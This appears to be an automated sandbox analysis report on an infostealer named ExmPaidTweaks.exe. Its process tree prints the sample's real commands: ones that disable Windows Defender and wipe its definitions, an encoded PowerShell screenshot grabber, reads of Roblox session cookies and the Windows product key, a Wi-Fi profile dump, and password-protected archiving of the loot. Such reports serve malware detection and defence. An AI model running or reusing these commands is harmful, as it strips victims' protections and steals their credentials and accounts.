Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-09-2024 15:45

General

  • Target

    ExmPaidTweaks.exe

  • Size

    7.4MB

  • MD5

    fb85c9ed03b0ba5a1cb056918422b013

  • SHA1

    68e862e622451164142f5143965109097daf3353

  • SHA256

    335e38a7985a1357ffe96c98258a8a8a4e10897a3a5bd97c06de9a8f5bc98c7b

  • SHA512

    832978b77aae80cf12d6feea3bb54c7c5766985e0279c78d4164b2499e8b9c1269f6ce709e4b899fe4687240f47f3673803f29804063c6a7c5ae96468c2178f0

  • SSDEEP

    196608:jY8PgLjv+bhqNVoB0SEsucQZ41JBbIR11tY:c8PwL+9qz80SJHQK1JI1vY

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 3 IoCs
  • UPX packed file 61 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ExmPaidTweaks.exe
    "C:\Users\Admin\AppData\Local\Temp\ExmPaidTweaks.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1784
    • C:\Users\Admin\AppData\Local\Temp\ExmPaidTweaks.exe
      "C:\Users\Admin\AppData\Local\Temp\ExmPaidTweaks.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1180
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ExmPaidTweaks.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4312
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ExmPaidTweaks.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4976
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3344
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5096
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Are you sure you know what you are doing?', 0, '.', 16+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4160
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Are you sure you know what you are doing?', 0, '.', 16+16);close()"
          4⤵
            PID:3220
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ​ .scr'"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4772
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ​ .scr'
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2824
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1724
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3124
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:5016
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:244
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3700
          • C:\Windows\System32\Wbem\WMIC.exe
            WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4704
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
          3⤵
          • Clipboard Data
          • Suspicious use of WriteProcessMemory
          PID:4412
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Get-Clipboard
            4⤵
            • Clipboard Data
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2840
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4028
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:1448
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tree /A /F"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1592
          • C:\Windows\system32\tree.com
            tree /A /F
            4⤵
              PID:1416
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
            3⤵
            • System Network Configuration Discovery: Wi-Fi Discovery
            • Suspicious use of WriteProcessMemory
            PID:2364
            • C:\Windows\system32\netsh.exe
              netsh wlan show profile
              4⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:5032
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "systeminfo"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:980
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              4⤵
              • Gathers system information
              PID:516
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3980
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4468
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\t4fxqfbm\t4fxqfbm.cmdline"
                5⤵
                  PID:4620
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9599.tmp" "c:\Users\Admin\AppData\Local\Temp\t4fxqfbm\CSC381E530E17194C89BE6D8DA9B8C6954.TMP"
                    6⤵
                      PID:2324
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3300
                • C:\Windows\system32\tree.com
                  tree /A /F
                  4⤵
                    PID:3016
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3036
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    4⤵
                      PID:1560
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                      PID:2264
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        4⤵
                          PID:1100
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                        3⤵
                          PID:1740
                          • C:\Windows\system32\tree.com
                            tree /A /F
                            4⤵
                              PID:4204
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                            3⤵
                              PID:3676
                              • C:\Windows\system32\tree.com
                                tree /A /F
                                4⤵
                                  PID:2872
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                3⤵
                                  PID:792
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                    4⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:4220
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                  3⤵
                                    PID:5048
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                      4⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4916
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "getmac"
                                    3⤵
                                      PID:3036
                                      • C:\Windows\system32\getmac.exe
                                        getmac
                                        4⤵
                                          PID:1612
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI17842\rar.exe a -r -hp"2010" "C:\Users\Admin\AppData\Local\Temp\Q6fyN.zip" *"
                                        3⤵
                                          PID:3244
                                          • C:\Users\Admin\AppData\Local\Temp\_MEI17842\rar.exe
                                            C:\Users\Admin\AppData\Local\Temp\_MEI17842\rar.exe a -r -hp"2010" "C:\Users\Admin\AppData\Local\Temp\Q6fyN.zip" *
                                            4⤵
                                            • Executes dropped EXE
                                            PID:3840
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                          3⤵
                                            PID:3888
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic os get Caption
                                              4⤵
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:876
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                            3⤵
                                              PID:2456
                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                wmic computersystem get totalphysicalmemory
                                                4⤵
                                                  PID:628
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                3⤵
                                                  PID:2296
                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                    wmic csproduct get uuid
                                                    4⤵
                                                      PID:3564
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                    3⤵
                                                      PID:1948
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                        4⤵
                                                        • Command and Scripting Interpreter: PowerShell
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:1512
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                      3⤵
                                                        PID:3060
                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                          wmic path win32_VideoController get name
                                                          4⤵
                                                          • Detects videocard installed
                                                          PID:1984
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                        3⤵
                                                          PID:4296
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                            4⤵
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            PID:4428

                                                    Network

                                                    MITRE ATT&CK Enterprise v15

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                      Filesize

                                                      2KB

                                                      MD5

                                                      d85ba6ff808d9e5444a4b369f5bc2730

                                                      SHA1

                                                      31aa9d96590fff6981b315e0b391b575e4c0804a

                                                      SHA256

                                                      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                      SHA512

                                                      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                      Filesize

                                                      944B

                                                      MD5

                                                      cadef9abd087803c630df65264a6c81c

                                                      SHA1

                                                      babbf3636c347c8727c35f3eef2ee643dbcc4bd2

                                                      SHA256

                                                      cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

                                                      SHA512

                                                      7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                      Filesize

                                                      944B

                                                      MD5

                                                      7a451cd1316d70a65910773fee8c3a43

                                                      SHA1

